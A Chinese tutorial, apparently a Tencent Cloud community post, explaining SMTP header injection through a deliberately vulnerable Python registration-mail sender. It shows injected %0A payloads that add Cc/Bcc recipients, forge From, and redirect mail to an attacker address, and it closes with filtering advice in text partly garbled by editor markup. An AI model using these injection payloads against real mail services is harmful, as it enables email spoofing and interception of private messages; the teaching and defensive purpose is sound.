blocks|key|de7d7|type|unstyled|text|## 漏洞介绍
SMTP是用于发送和传递电子邮件的协议,定义了邮件的传输方式和交流规则。
SMTP注入是指可通过添加/控制**邮件头**的方式,篡改邮件的发送者、抄送、密送等字段,从而达到**欺骗、窃取邮件信息或劫持邮件传递**的目的。
既然归属到注入类,说明也是对用户输入未严格过滤,从而达到非预期的结果。
常见邮件头代表的含义如下:
%7C 邮件头字段 %7C 含义 %7C
%7C ------------------- %7C ---------------------------- %7C
%7C From %7C 邮件的发送者 %7C
%7C To %7C 邮件的主要接收者 %7C
%7C Cc %7C 邮件的抄送接收者 %7C
%7C Bcc %7C 邮件的密送接收者 %7C
%7C Subject %7C 邮件的主题或标题 %7C
%7C Body %7C 邮件的正文内容 %7C
%7C Date %7C 邮件的发送时间 %7C
%7C Reply-To %7C 回复邮件时使用的地址 %7C
%7C Importance %7C 邮件的重要性级别 %7C
%7C MIME-Version %7C 邮件的MIME版本 %7C
%7C Content-Type %7C 邮件正文内容的类型及编码方式 %7C
%7C Content-Disposition %7C 邮件附件的处理方式 %7C
%7C Message-ID %7C 邮件的唯一标识符 %7C
%7C In-Reply-To %7C 针对哪封邮件进行回复的标识符 %7C
%7C References %7C 相关邮件的标识符列表 %7C
%7C Return-Path %7C 邮件的退回地址 %7C
%7C X-Priority %7C 邮件的优先级 %7C
为了尽可能的获取实用的邮件头,使用抄送+密送的方式发一封邮件,查看原文,就可以看到发送的实际内容。
假设存在一个注册功能点,我们输入邮箱后,网站给我们发送激活链接进行注册。
其中,发送邮件使用的代码为:
import base64
import smtplib
from urllib.parse import unquote
from email.header import Header
from email.message import Message
def send\_email(from\_addr, to\_addr, subject, mail\_text, smtp\_host, smtp\_port, smtp\_username, smtp\_password):
email\_string = f"""MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
From: {from\_addr}
To: {to\_addr}
Subject: =?utf-8?b?{base64.b64encode(subject.encode()).decode()}?=
{base64.b64encode(mail\_text.encode()).decode()}
"""
print(f"\n{email\_string}\n")
try:
smtp\_obj = smtplib.SMTP\_SSL(smtp\_host, smtp\_port)
smtp\_obj.login(smtp\_username, smtp\_password)
smtp\_obj.sendmail(from\_addr, to\_addr, email\_string)
smtp\_obj.quit()
print('邮件发送成功')
except smtplib.SMTPException as e:
print('邮件发送失败:', str(e))
if \_\_name\_\_ == '\_\_main\_\_':
# to\_addr = 'ntoouuzovrlfy@baybabes.com'
to\_addr = input("收件箱地址: ")
to\_addr = unquote(to\_addr)
# 使用示例
from\_addr = 'xxx@163.com'
subject = '注册邀请'
mail\_text = '您的注册地址为:xxxxx'
smtp\_host = 'smtp.163.com'
smtp\_port = 465
smtp\_username = 'username'
smtp\_password = 'password'
send\_email(from\_addr, to\_addr, subject, mail\_text, smtp\_host, smtp\_port, smtp\_username, smtp\_password)
正常发送结果如下:
上方代码可见to\_addr
为收件人可控,我们将其输入为ntoouuzovrlfy@baybabes.com%0aCc: rocaced977@soremap.com
并发送
可见成功注入了SMTP邮件头Cc(抄送),此时注入的恶意邮箱rocaced977@soremap.com
也将收到和ntoouuzovrlfy@baybabes.com
一样的邮件。
所有和发送邮件有关的功能点都可以进行尝试,如邮箱注册、邮箱找回密码等...
**常见payload:**
就是通过各种方式注入SMTP header头中。
rec@domain.com%0ACc:recipient@domain.com%0ABcc:recipient1@domain.com
admin@domain.com%0AFrom:eval@domain.com
From:sender@domain.com%0ATo:attacker@domain.com
From:sender@domain.com%0ASubject:Thisâs%20Fake%20Subject
^[\w\.-]+@[\w\.-]+\.\w+$
来过滤用用户提交的邮箱。smtplib
、Java的javax.mail
、PHP的PHPMailer
等,尽可能的通过模块内置的一些函数来设定SMTP header头。|depth|inlineStyleRanges|entityRanges|entityMap|data|mutability^0^^$0|@$1|2|3|4|5|6|7|D|8|@]|9|@]]]|A|$B|-4|C|-4|3|-4]]原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有